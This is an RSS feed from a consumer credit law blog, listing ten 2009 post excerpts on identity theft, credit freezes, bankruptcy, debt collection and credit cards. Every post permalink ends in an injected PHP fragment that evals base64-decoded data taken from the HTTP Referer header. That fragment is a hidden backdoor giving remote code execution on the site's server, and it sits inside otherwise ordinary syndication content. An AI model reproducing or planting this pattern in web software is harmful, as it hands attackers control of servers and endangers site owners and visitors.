http://www.creditlawnetwork.com Real Lawyers, Real Solutions Tue, 01 Sep 2009 03:56:26 +0000 http://backend.userland.com/rss092 en The Federal Trade Commission (FTC) and the ABA (American Bar Association) are set to square off in court over the FTC's latest set of regulations governing creditors' procedures designed to prevent identity theft.  What's wrong with that?   Well, the regulations, known as "Red Flag Rules", define creditors as including attorneys.    ... http://www.creditlawnetwork.com/2009/08/31/aba-v-ftc-fighting-over-identity-theft-proceduresrules/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Credit freezes are one of the most effective tools against ID theft available to consumers.  A credit freeze allows you to seal your credit report and it can only be thawed if you use a PIN (personal identification number) that only you know so that a legitimate application for credit and/or services ... http://www.creditlawnetwork.com/2009/08/30/what-is-a-credit-freeze/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This weekend's Parade Magazine (the free insert that you can find in most Sunday papers around the country) has published an article entitled "How to Bounce Back from Bankruptcy."   Parade notes that over 1 million people filed for bankruptcy in 2008, which constitutes a 30% increase from 2007. One of the ... http://www.creditlawnetwork.com/2009/08/16/parade-magazine-publishes-article-about-bouncing-back-from-bankruptcy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Why would a family member steal a child's social security number and obtain credit in the child's name?  More importantly, what kind of company would give credit to a child after a reasonable inquiry?   Desperation is the only rational explanation that I can think of, and that is on ... http://www.creditlawnetwork.com/2009/08/08/identity-theft-involving-childrens-social-security-numbers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ To borrow or not to borrow from the 401(k) plan to pay off credit card debt, that is the question.  The answer to this question will have to be decided by the individual.  The decision depends upon the amount of debt you're carrying, the amount in your 401(k), and the ... http://www.creditlawnetwork.com/2009/08/02/should-you-borrow-from-your-401k-to-pay-off-credit-cards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This week, the New York Times reported that consumers who had been the victim of fraud by unscrupulous debt collectors may be getting money back if the New York attorney general is successful in the lawsuit filed against two collection agencies and 35 attorneys. According to the article, the debt collectors ... http://www.creditlawnetwork.com/2009/07/31/you-never-got-notice-of-being-sued-the-judge-just-may-believe-you-now/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ For many years consumer advocates have claimed that the arbitration provided in credit card disputes was not fair to the consumer.  It seemed that the arbitrators always just rubber stamped the claims made by the credit card companies. Two weeks ago, Minnesota Attorney General Lori Swanson filed a complaint against one of ... http://www.creditlawnetwork.com/2009/07/31/is-credit-card-arbitration-fair-and-impartial/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Below are some free resources where you can obtain information about credit: Of course Credit Law Network where bankruptcy attorneys blog about all things related to credit. Annual Credit Report website where you can obtain a 3 bureau credit report every 366 days.  The Free Annual Credit Report website may have cute ... http://www.creditlawnetwork.com/2009/07/30/free-information-about-your-credit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ruthless Defaulters is the name banks give to the increasing population of credit card account holders who purposely refuse to pay the bill, so says David Streitfeld in the NY Times story, “When Debtors Decide to Default”. And these defaulters are finding support from others consumers who are just beginning to ... http://www.creditlawnetwork.com/2009/07/28/credit-card-users-refuse-to-pay-join-the-fight/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Do I Need A Credit Card? Type the phrase "Do I Need A Credit Card" into any search engine and you get as many conflicting answers as there are articles. The inability to get a credit card is probably one of the biggest fears my bankruptcy practice clients have. For the most part, ... http://www.creditlawnetwork.com/2009/07/17/do-i-need-a-credit-card/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/